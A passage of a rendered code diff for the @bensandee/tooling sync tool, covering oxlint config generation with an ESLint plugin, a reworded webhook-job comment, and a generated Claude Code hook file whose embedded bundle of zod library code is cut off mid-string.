"tsdown": "0.22.14",
|
|
5068
5082
|
"typescript": "6.0.3",
|
|
5069
5083
|
"vitest": "4.1.11",
|
|
5070
|
-
"pnpm": "11.
|
|
5084
|
+
"pnpm": "11.24.0"
|
|
5071
5085
|
}["pnpm"]}`
|
|
5072
5086
|
};
|
|
5073
5087
|
ctx.write(filePath, JSON.stringify(pkg, null, 2) + "\n");
|
|
@@ -5899,10 +5913,22 @@ async function generateVitest(ctx) {
|
|
|
5899
5913
|
//#region src/generators/oxlint.ts
|
|
5900
5914
|
const IGNORE_PATTERNS_SPREAD = "...(recommended.ignorePatterns ?? [])";
|
|
5901
5915
|
const CONFIG_WITH_LINT_RULES = `import recommended from "@bensandee/config/oxlint/recommended";
|
|
5916
|
+
import bensandee from "@bensandee/eslint-plugin/recommended";
|
|
5902
5917
|
import { defineConfig } from "oxlint";
|
|
5903
5918
|
|
|
5919
|
+
// Report phase: every plugin rule runs and reports, none blocks. The severities are derived
|
|
5920
|
+
// from the plugin's own rule names rather than listed, so a rule the plugin adds arrives the
|
|
5921
|
+
// day it publishes -- enumerating them is how the plugin came to be installed and never
|
|
5922
|
+
// loaded. A later @bensandee/tooling release replaces this map with \`bensandee.rules\`, which
|
|
5923
|
+
// is the plugin's own recommended severities.
|
|
5924
|
+
const reportOnly: Record<string, "warn"> = Object.fromEntries(
|
|
5925
|
+
Object.keys(bensandee.rules ?? {}).map((name) => [name, "warn"]),
|
|
5926
|
+
);
|
|
5927
|
+
|
|
5904
5928
|
export default defineConfig({
|
|
5905
5929
|
extends: [recommended],
|
|
5930
|
+
jsPlugins: bensandee.jsPlugins ?? [],
|
|
5931
|
+
rules: reportOnly,
|
|
5906
5932
|
ignorePatterns: [${IGNORE_PATTERNS_SPREAD}],
|
|
5907
5933
|
});
|
|
5908
5934
|
`;
|
|
@@ -5921,6 +5947,52 @@ function addIgnorePatterns(content) {
|
|
|
5921
5947
|
const insertPos = (match.index ?? 0) + match[0].length;
|
|
5922
5948
|
return content.slice(0, insertPos) + ` ignorePatterns: [${IGNORE_PATTERNS_SPREAD}],\n` + content.slice(insertPos);
|
|
5923
5949
|
}
|
|
5950
|
+
const PLUGIN_IMPORT = "import bensandee from \"@bensandee/eslint-plugin/recommended\";\n";
|
|
5951
|
+
const REPORT_SPREAD = " ...Object.fromEntries(Object.keys(bensandee.rules ?? {}).map((name) => [name, \"warn\"])),\n";
|
|
5952
|
+
const RULES_KEY = /^ {2}"?rules"?: \{/m;
|
|
5953
|
+
const RULES_KEY_INLINE = /^ {2}"?rules"?\s*[,:]/m;
|
|
5954
|
+
const JS_PLUGINS_KEY = /^ {2}"?jsPlugins"?: \[/m;
|
|
5955
|
+
const JS_PLUGINS_KEY_INLINE = /^ {2}"?jsPlugins"?\s*[,:]/m;
|
|
5956
|
+
/**
|
|
5957
|
+
* Insert the plugin wiring into a config this tool already owns. Returns `undefined` when
|
|
5958
|
+
* there is nothing to do, which is what keeps a re-sync a no-op: a config already naming the
|
|
5959
|
+
* plugin is left exactly as the repo has it, customizations included.
|
|
5960
|
+
*
|
|
5961
|
+
* The severity map merges into whatever `rules` key the config already has, as a leading
|
|
5962
|
+
* spread so a hand-written entry still wins, and the plugin list merges into whatever
|
|
5963
|
+
* `jsPlugins` key it already has the same way. Emitting a second key instead is TS1117 in the
|
|
5964
|
+
* consumer's repo -- their typecheck fails on a sync they did not ask for.
|
|
5965
|
+
*/
|
|
5966
|
+
function addBensandeePlugin(content) {
|
|
5967
|
+
if (content.includes("@bensandee/eslint-plugin")) return void 0;
|
|
5968
|
+
const withImport = content.replace("import { defineConfig } from \"oxlint\";\n", `${PLUGIN_IMPORT}import { defineConfig } from "oxlint";\n`);
|
|
5969
|
+
if (withImport === content) return void 0;
|
|
5970
|
+
const anchor = withImport.match(/defineConfig\(\{(\r?\n)/);
|
|
5971
|
+
if (!anchor) return void 0;
|
|
5972
|
+
const insertPos = (anchor.index ?? 0) + anchor[0].length;
|
|
5973
|
+
const beforeAnchor = withImport.slice(0, insertPos);
|
|
5974
|
+
if (JS_PLUGINS_KEY_INLINE.test(beforeAnchor) || RULES_KEY_INLINE.test(beforeAnchor)) return;
|
|
5975
|
+
let withPlugins;
|
|
5976
|
+
let afterJsPlugins;
|
|
5977
|
+
const jsPluginsKey = JS_PLUGINS_KEY.exec(withImport.slice(insertPos));
|
|
5978
|
+
if (jsPluginsKey) {
|
|
5979
|
+
const at = insertPos + jsPluginsKey.index + jsPluginsKey[0].length;
|
|
5980
|
+
withPlugins = withImport.slice(0, at) + "...(bensandee.jsPlugins ?? []), " + withImport.slice(at);
|
|
5981
|
+
afterJsPlugins = insertPos;
|
|
5982
|
+
} else {
|
|
5983
|
+
if (JS_PLUGINS_KEY_INLINE.test(withImport.slice(insertPos))) return void 0;
|
|
5984
|
+
withPlugins = withImport.slice(0, insertPos) + " jsPlugins: bensandee.jsPlugins ?? [],\n" + withImport.slice(insertPos);
|
|
5985
|
+
afterJsPlugins = insertPos + 40;
|
|
5986
|
+
}
|
|
5987
|
+
const rulesRegion = withPlugins.slice(insertPos);
|
|
5988
|
+
const rulesKey = RULES_KEY.exec(rulesRegion);
|
|
5989
|
+
if (rulesKey) {
|
|
5990
|
+
const at = insertPos + rulesKey.index + rulesKey[0].length;
|
|
5991
|
+
return withPlugins.slice(0, at) + `\n${REPORT_SPREAD}` + withPlugins.slice(at);
|
|
5992
|
+
}
|
|
5993
|
+
if (RULES_KEY_INLINE.test(rulesRegion)) return void 0;
|
|
5994
|
+
return withPlugins.slice(0, afterJsPlugins) + ` rules: {\n${REPORT_SPREAD} },\n` + withPlugins.slice(afterJsPlugins);
|
|
5995
|
+
}
|
|
5924
5996
|
async function generateOxlint(ctx) {
|
|
5925
5997
|
const filePath = "oxlint.config.ts";
|
|
5926
5998
|
if (ctx.config.stack === "none") return {
|
|
@@ -5928,26 +6000,28 @@ async function generateOxlint(ctx) {
|
|
|
5928
6000
|
action: "skipped",
|
|
5929
6001
|
description: "No JS/TS source; not managed"
|
|
5930
6002
|
};
|
|
5931
|
-
const
|
|
6003
|
+
const rawContent = ctx.config.useEslintPlugin ? CONFIG_WITH_LINT_RULES : CONFIG_PRESET_ONLY;
|
|
6004
|
+
const content = formattedTemplate(ctx, filePath, rawContent);
|
|
5932
6005
|
const existing = ctx.read(filePath);
|
|
5933
6006
|
if (existing) {
|
|
5934
|
-
if (
|
|
6007
|
+
if (isGeneratedTemplate(ctx, filePath, rawContent)) return {
|
|
5935
6008
|
filePath,
|
|
5936
6009
|
action: "skipped",
|
|
5937
6010
|
description: "Already configured"
|
|
5938
6011
|
};
|
|
5939
6012
|
if (existing.includes("@bensandee/config/oxlint")) {
|
|
5940
|
-
const
|
|
5941
|
-
|
|
6013
|
+
const withIgnores = addIgnorePatterns(existing) ?? existing;
|
|
6014
|
+
const withPlugin = ctx.config.useEslintPlugin ? addBensandeePlugin(withIgnores) ?? withIgnores : withIgnores;
|
|
6015
|
+
if (withPlugin === existing) return {
|
|
5942
6016
|
filePath,
|
|
5943
6017
|
action: "skipped",
|
|
5944
6018
|
description: "Already configured"
|
|
5945
6019
|
};
|
|
5946
|
-
ctx.write(filePath,
|
|
6020
|
+
ctx.write(filePath, ctx.format(filePath, withPlugin));
|
|
5947
6021
|
return {
|
|
5948
6022
|
filePath,
|
|
5949
6023
|
action: "updated",
|
|
5950
|
-
description: "
|
|
6024
|
+
description: "Updated managed config"
|
|
5951
6025
|
};
|
|
5952
6026
|
}
|
|
5953
6027
|
if (await ctx.confirmOverwrite(filePath) === "skip") return {
|
|
@@ -6655,9 +6729,12 @@ function postReleaseHookStep(opts) {
|
|
|
6655
6729
|
} };
|
|
6656
6730
|
}
|
|
6657
6731
|
/**
|
|
6658
|
-
* Post-release hook as a separate job with `continue-on-error: true
|
|
6659
|
-
*
|
|
6660
|
-
*
|
|
6732
|
+
* Post-release hook as a separate job with `continue-on-error: true`. That flag
|
|
6733
|
+
* governs the *workflow run's* conclusion, not the *job's* -- on Forgejo the job's
|
|
6734
|
+
* own conclusion is posted as a commit status, so a webhook failure (HTTP 5xx, DNS,
|
|
6735
|
+
* etc.) still reddens the branch unless the command itself is non-fatal. Keeping a
|
|
6736
|
+
* webhook failure from failing the branch is `webhook:send`'s job (best-effort by
|
|
6737
|
+
* default; see `--strict`), not this flag's.
|
|
6661
6738
|
*/
|
|
6662
6739
|
function postReleaseHookJob(opts) {
|
|
6663
6740
|
return {
|
|
@@ -7642,7 +7719,7 @@ function writeIfChanged(ctx, filePath, content, label) {
|
|
|
7642
7719
|
};
|
|
7643
7720
|
}
|
|
7644
7721
|
async function generateClaudeHooks(ctx) {
|
|
7645
|
-
return [writeIfChanged(ctx, HOOK_PATH, "/**\n * bst-hook -- Claude Code PreToolUse hook\n * @bensandee/claude-hooks\n * https://github.com/bensandee/tooling\n *\n * Auto-generated by @bensandee/tooling repo:sync -- do not edit manually.\n */\nimport * as fs from \"node:fs\";\nimport { existsSync, readFileSync, readdirSync, realpathSync, statSync } from \"node:fs\";\nimport * as path from \"node:path\";\nimport { dirname, join, resolve } from \"node:path\";\nimport { fileURLToPath } from \"node:url\";\nimport { execFileSync } from \"node:child_process\";\nimport * as os from \"node:os\";\n\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js\nvar _a$1;\nfunction $constructor(name, initializer, params) {\n function init(inst, def) {\n if (!inst._zod) Object.defineProperty(inst, \"_zod\", {\n value: {\n def,\n constr: _,\n traits: /* @__PURE__ */ new Set()\n },\n enumerable: false\n });\n if (inst._zod.traits.has(name)) return;\n inst._zod.traits.add(name);\n initializer(inst, def);\n const proto = _.prototype;\n const keys = Object.keys(proto);\n for (let i = 0; i < keys.length; i++) {\n const k = keys[i];\n if (!(k in inst)) inst[k] = proto[k].bind(inst);\n }\n }\n const Parent = params?.Parent ?? Object;\n class Definition extends Parent {}\n Object.defineProperty(Definition, \"name\", { value: name });\n function _(def) {\n var _a;\n const inst = params?.Parent ? new Definition() : this;\n init(inst, def);\n (_a = inst._zod).deferred ?? (_a.deferred = []);\n for (const fn of inst._zod.deferred) fn();\n return inst;\n }\n Object.defineProperty(_, \"init\", { value: init });\n Object.defineProperty(_, Symbol.hasInstance, { value: (inst) => {\n if (params?.Parent && inst instanceof params.Parent) return true;\n return inst?._zod?.traits?.has(name);\n } });\n Object.defineProperty(_, \"name\", { value: name });\n return _;\n}\nvar $ZodAsyncError = class extends Error {\n constructor() {\n super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`);\n }\n};\nvar $ZodEncodeError = class extends Error {\n constructor(name) {\n super(`Encountered unidirectional transform during encode: ${name}`);\n this.name = \"ZodEncodeError\";\n }\n};\n(_a$1 = globalThis).__zod_globalConfig ?? (_a$1.__zod_globalConfig = {});\nconst globalConfig = globalThis.__zod_globalConfig;\nfunction config(newConfig) {\n if (newConfig) Object.assign(globalConfig, newConfig);\n return globalConfig;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js\nfunction getEnumValues(entries) {\n const numericValues = Object.values(entries).filter((v) => typeof v === \"number\");\n return Object.entries(entries).filter(([k, _]) => numericValues.indexOf(+k) === -1).map(([_, v]) => v);\n}\nfunction jsonStringifyReplacer(_, value) {\n if (typeof value === \"bigint\") return value.toString();\n return value;\n}\nfunction cached(getter) {\n return { get value() {\n {\n const value = getter();\n Object.defineProperty(this, \"value\", { value });\n return value;\n }\n } };\n}\nfunction nullish(input) {\n return input === null || input === void 0;\n}\nfunction cleanRegex(source) {\n const start = source.startsWith(\"^\") ? 1 : 0;\n const end = source.endsWith(\"$\") ? source.length - 1 : source.length;\n return source.slice(start, end);\n}\nconst EVALUATING = /* @__PURE__*/ Symbol(\"evaluating\");\nfunction defineLazy(object, key, getter) {\n let value = void 0;\n Object.defineProperty(object, key, {\n get() {\n if (value === EVALUATING) return;\n if (value === void 0) {\n value = EVALUATING;\n value = getter();\n }\n return value;\n },\n set(v) {\n Object.defineProperty(object, key, { value: v });\n },\n configurable: true\n });\n}\nfunction assignProp(target, prop, value) {\n Object.defineProperty(target, prop, {\n value,\n writable: true,\n enumerable: true,\n configurable: true\n });\n}\nfunction mergeDefs(...defs) {\n const mergedDescriptors = {};\n for (const def of defs) {\n const descriptors = Object.getOwnPropertyDescriptors(def);\n Object.assign(mergedDescriptors, descriptors);\n }\n return Object.defineProperties({}, mergedDescriptors);\n}\nfunction esc(str) {\n return JSON.stringify(str);\n}\nfunction slugify(input) {\n return input.toLowerCase().trim().replace(/[^\\w\\s-]/g, \"\").replace(/[\\s_-]+/g, \"-\").replace(/^-+|-+$/g, \"\");\n}\nconst captureStackTrace = \"captureStackTrace\" in Error ? Error.captureStackTrace : (..._args) => {};\nfunction isObject(data) {\n return typeof data === \"object\" && data !== null && !Array.isArray(data);\n}\nconst allowsEval = /* @__PURE__*/ cached(() => {\n if (globalConfig.jitless) return false;\n if (typeof navigator !== \"undefined\" && navigator?.userAgent?.includes(\"Cloudflare\")) return false;\n try {\n new Function(\"\");\n return true;\n } catch (_) {\n return false;\n }\n});\nfunction isPlainObject(o) {\n if (isObject(o) === false) return false;\n const ctor = o.constructor;\n if (ctor === void 0) return true;\n if (typeof ctor !== \"function\") return true;\n const prot = ctor.prototype;\n if (isObject(prot) === false) return false;\n if (Object.prototype.hasOwnProperty.call(prot, \"isPrototypeOf\") === false) return false;\n return true;\n}\nfunction shallowClone(o) {\n if (isPlainObject(o)) return { ...o };\n if (Array.isArray(o)) return [...o];\n if (o instanceof Map) return new Map(o);\n if (o instanceof Set) return new Set(o);\n return o;\n}\nconst propertyKeyTypes = /* @__PURE__*/ new Set([\n \"string\",\n \"number\",\n \"symbol\"\n]);\nfunction escapeRegex(str) {\n return str.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\");\n}\nfunction clone(inst, def, params) {\n const cl = new inst._zod.constr(def ?? inst._zod.def);\n if (!def || params?.parent) cl._zod.parent = inst;\n return cl;\n}\nfunction normalizeParams(_params) {\n const params = _params;\n if (!params) return {};\n if (typeof params === \"string\") return { error: () => params };\n if (params?.message !== void 0) {\n if (params?.error !== void 0) throw new Error(\"Cannot specify both `message` and `error` params\");\n params.error = params.message;\n }\n delete params.message;\n if (typeof params.error === \"string\") return {\n ...params,\n error: () => params.error\n };\n return params;\n}\nfunction optionalKeys(shape) {\n return Object.keys(shape).filter((k) => {\n return shape[k]._zod.optin === \"optional\" && shape[k]._zod.optout === \"optional\";\n });\n}\nconst NUMBER_FORMAT_RANGES = {\n safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER],\n int32: [-2147483648, 2147483647],\n uint32: [0, 4294967295],\n float32: [-34028234663852886e22, 34028234663852886e22],\n float64: [-Number.MAX_VALUE, Number.MAX_VALUE]\n};\nfunction pick(schema, mask) {\n const currDef = schema._zod.def;\n const checks = currDef.checks;\n if (checks && checks.length > 0) throw new Error(\".pick() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const newShape = {};\n for (const key in mask) {\n if (!(key in currDef.shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n newShape[key] = currDef.shape[key];\n }\n assignProp(this, \"shape\", newShape);\n return newShape;\n },\n checks: []\n }));\n}\nfunction omit(schema, mask) {\n const currDef = schema._zod.def;\n const checks = currDef.checks;\n if (checks && checks.length > 0) throw new Error(\".omit() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const newShape = { ...schema._zod.def.shape };\n for (const key in mask) {\n if (!(key in currDef.shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n delete newShape[key];\n }\n assignProp(this, \"shape\", newShape);\n return newShape;\n },\n checks: []\n }));\n}\nfunction extend(schema, shape) {\n if (!isPlainObject(shape)) throw new Error(\"Invalid input to extend: expected a plain object\");\n const checks = schema._zod.def.checks;\n if (checks && checks.length > 0) {\n const existingShape = schema._zod.def.shape;\n for (const key in shape) if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) throw new Error(\"Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead.\");\n }\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const _shape = {\n ...schema._zod.def.shape,\n ...shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n } }));\n}\nfunction safeExtend(schema, shape) {\n if (!isPlainObject(shape)) throw new Error(\"Invalid input to safeExtend: expected a plain object\");\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const _shape = {\n ...schema._zod.def.shape,\n ...shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n } }));\n}\nfunction merge(a, b) {\n if (a._zod.def.checks?.length) throw new Error(\".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead.\");\n return clone(a, mergeDefs(a._zod.def, {\n get shape() {\n const _shape = {\n ...a._zod.def.shape,\n ...b._zod.def.shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n },\n get catchall() {\n return b._zod.def.catchall;\n },\n checks: b._zod.def.checks ?? []\n }));\n}\nfunction partial(Class, schema, mask) {\n const checks = schema._zod.def.checks;\n if (checks && checks.length > 0) throw new Error(\".partial() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const oldShape = schema._zod.def.shape;\n const shape = { ...oldShape };\n if (mask) for (const key in mask) {\n if (!(key in oldShape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n shape[key] = Class ? new Class({\n type: \"optional\",\n innerType: oldShape[key]\n }) : oldShape[key];\n }\n else for (const key in oldShape) shape[key] = Class ? new Class({\n type: \"optional\",\n innerType: oldShape[key]\n }) : oldShape[key];\n assignProp(this, \"shape\", shape);\n return shape;\n },\n checks: []\n }));\n}\nfunction required(Class, schema, mask) {\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const oldShape = schema._zod.def.shape;\n const shape = { ...oldShape };\n if (mask) for (const key in mask) {\n if (!(key in shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n shape[key] = new Class({\n type: \"nonoptional\",\n innerType: oldShape[key]\n });\n }\n else for (const key in oldShape) shape[key] = new Class({\n type: \"nonoptional\",\n innerType: oldShape[key]\n });\n assignProp(this, \"shape\", shape);\n return shape;\n } }));\n}\nfunction aborted(x, startIndex = 0) {\n if (x.aborted === true) return true;\n for (let i = startIndex; i < x.issues.length; i++) if (x.issues[i]?.continue !== true) return true;\n return false;\n}\nfunction explicitlyAborted(x, startIndex = 0) {\n if (x.aborted === true) return true;\n for (let i = startIndex; i < x.issues.length; i++) if (x.issues[i]?.continue === false) return true;\n return false;\n}\nfunction prefixIssues(path, issues) {\n return issues.map((iss) => {\n var _a;\n (_a = iss).path ?? (_a.path = []);\n iss.path.unshift(path);\n return iss;\n });\n}\nfunction unwrapMessage(message) {\n return typeof message === \"string\" ? message : message?.message;\n}\nfunction finalizeIssue(iss, ctx, config) {\n const message = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config.customError?.(iss)) ?? unwrapMessage(config.localeError?.(iss)) ?? \"Invalid input\";\n const { inst: _inst, continue: _continue, input: _input, ...rest } = iss;\n rest.path ?? (rest.path = []);\n rest.message = message;\n if (ctx?.reportInput) rest.input = _input;\n return rest;\n}\nfunction getLengthableOrigin(input) {\n if (Array.isArray(input)) return \"array\";\n if (typeof input === \"string\") return \"string\";\n return \"unknown\";\n}\nfunction issue(...args) {\n const [iss, input, inst] = args;\n if (typeof iss === \"string\") return {\n message: iss,\n code: \"custom\",\n input,\n inst\n };\n return { ...iss };\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js\nconst initializer$1 = (inst, def) => {\n inst.name = \"$ZodError\";\n Object.defineProperty(inst, \"_zod\", {\n value: inst._zod,\n enumerable: false\n });\n Object.defineProperty(inst, \"issues\", {\n value: def,\n enumerable: false\n });\n inst.message = JSON.stringify(def, jsonStringifyReplacer, 2);\n Object.defineProperty(inst, \"toString\", {\n value: () => inst.message,\n enumerable: false\n });\n};\nconst $ZodError = $constructor(\"$ZodError\", initializer$1);\nconst $ZodRealError = $constructor(\"$ZodError\", initializer$1, { Parent: Error });\nfunction flattenError(error, mapper = (issue) => issue.message) {\n const fieldErrors = {};\n const formErrors = [];\n for (const sub of error.issues) if (sub.path.length > 0) {\n fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || [];\n fieldErrors[sub.path[0]].push(mapper(sub));\n } else formErrors.push(mapper(sub));\n return {\n formErrors,\n fieldErrors\n };\n}\nfunction formatError(error, mapper = (issue) => issue.message) {\n const fieldErrors = { _errors: [] };\n const processError = (error, path = []) => {\n for (const issue of error.issues) if (issue.code === \"invalid_union\" && issue.errors.length) issue.errors.map((issues) => processError({ issues }, [...path, ...issue.path]));\n else if (issue.code === \"invalid_key\") processError({ issues: issue.issues }, [...path, ...issue.path]);\n else if (issue.code === \"invalid_element\") processError({ issues: issue.issues }, [...path, ...issue.path]);\n else {\n const fullpath = [...path, ...issue.path];\n if (fullpath.length === 0) fieldErrors._errors.push(mapper(issue));\n else {\n let curr = fieldErrors;\n let i = 0;\n while (i < fullpath.length) {\n const el = fullpath[i];\n if (!(i === fullpath.length - 1)) curr[el] = curr[el] || { _errors: [] };\n else {\n curr[el] = curr[el] || { _errors: [] };\n curr[el]._errors.push(mapper(issue));\n }\n curr = curr[el];\n i++;\n }\n }\n }\n };\n processError(error);\n return fieldErrors;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js\nconst _parse = (_Err) => (schema, value, _ctx, _params) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: false\n } : { async: false };\n const result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) throw new $ZodAsyncError();\n if (result.issues.length) {\n const e = new ((_params?.Err) ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())));\n captureStackTrace(e, _params?.callee);\n throw e;\n }\n return result.value;\n};\nconst _parseAsync = (_Err) => async (schema, value, _ctx, params) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: true\n } : { async: true };\n let result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) result = await result;\n if (result.issues.length) {\n const e = new ((params?.Err) ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())));\n captureStackTrace(e, params?.callee);\n throw e;\n }\n return result.value;\n};\nconst _safeParse = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: false\n } : { async: false };\n const result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) throw new $ZodAsyncError();\n return result.issues.length ? {\n success: false,\n error: new (_Err ?? $ZodError)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n } : {\n success: true,\n data: result.value\n };\n};\nconst safeParse$1 = /* @__PURE__*/ _safeParse($ZodRealError);\nconst _safeParseAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: true\n } : { async: true };\n let result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) result = await result;\n return result.issues.length ? {\n success: false,\n error: new _Err(result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n } : {\n success: true,\n data: result.value\n };\n};\nconst safeParseAsync$1 = /* @__PURE__*/ _safeParseAsync($ZodRealError);\nconst _encode = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _parse(_Err)(schema, value, ctx);\n};\nconst _decode = (_Err) => (schema, value, _ctx) => {\n return _parse(_Err)(schema, value, _ctx);\n};\nconst _encodeAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _parseAsync(_Err)(schema, value, ctx);\n};\nconst _decodeAsync = (_Err) => async (schema, value, _ctx) => {\n return _parseAsync(_Err)(schema, value, _ctx);\n};\nconst _safeEncode = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _safeParse(_Err)(schema, value, ctx);\n};\nconst _safeDecode = (_Err) => (schema, value, _ctx) => {\n return _safeParse(_Err)(schema, value, _ctx);\n};\nconst _safeEncodeAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _safeParseAsync(_Err)(schema, value, ctx);\n};\nconst _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => {\n return _safeParseAsync(_Err)(schema, value, _ctx);\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link cuid2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst cuid = /^[cC][0-9a-z]{6,}$/;\nconst cuid2 = /^[0-9a-z]+$/;\nconst ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/;\nconst xid = /^[0-9a-vA-V]{20}$/;\nconst ksuid = /^[A-Za-z0-9]{27}$/;\nconst nanoid = /^[a-zA-Z0-9_-]{21}$/;\n/** ISO 8601-1 duration regex. Does not support the 8601-2 extensions like negative durations or fractional/negative components. */\nconst duration$1 = /^P(?:(\\d+W)|(?!.*W)(?=\\d|T\\d)(\\d+Y)?(\\d+M)?(\\d+D)?(T(?=\\d)(\\d+H)?(\\d+M)?(\\d+([.,]\\d+)?S)?)?)$/;\n/** A regex for any UUID-like identifier: 8-4-4-4-12 hex pattern */\nconst guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/;\n/** Returns a regex for validating an RFC 9562/4122 UUID.\n*\n* @param version Optionally specify a version 1-8. If no version is specified, all versions are supported. */\nconst uuid = (version) => {\n if (!version) return /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$/;\n return new RegExp(`^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-${version}[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})$`);\n};\n/** Practical email validation */\nconst email = /^(?!\\.)(?!.*\\.\\.)([A-Za-z0-9_'+\\-\\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\\-]*\\.)+[A-Za-z]{2,}$/;\nconst _emoji$1 = `^(\\\\p{Extended_Pictographic}|\\\\p{Emoji_Component})+$`;\nfunction emoji() {\n return new RegExp(_emoji$1, \"u\");\n}\nconst ipv4 = /^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/;\nconst ipv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$/;\nconst cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\/([0-9]|[1-2][0-9]|3[0-2])$/;\nconst cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/;\nconst base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/;\nconst base64url = /^[A-Za-z0-9_-]*$/;\nconst httpProtocol = /^https?$/;\nconst e164 = /^\\+[1-9]\\d{6,14}$/;\nconst dateSource = `(?:(?:\\\\d\\\\d[2468][048]|\\\\d\\\\d[13579][26]|\\\\d\\\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\\\d|30)|(?:02)-(?:0[1-9]|1\\\\d|2[0-8])))`;\nconst date$1 = /*@__PURE__*/ new RegExp(`^${dateSource}$`);\nfunction timeSource(args) {\n const hhmm = `(?:[01]\\\\d|2[0-3]):[0-5]\\\\d`;\n return typeof args.precision === \"number\" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? 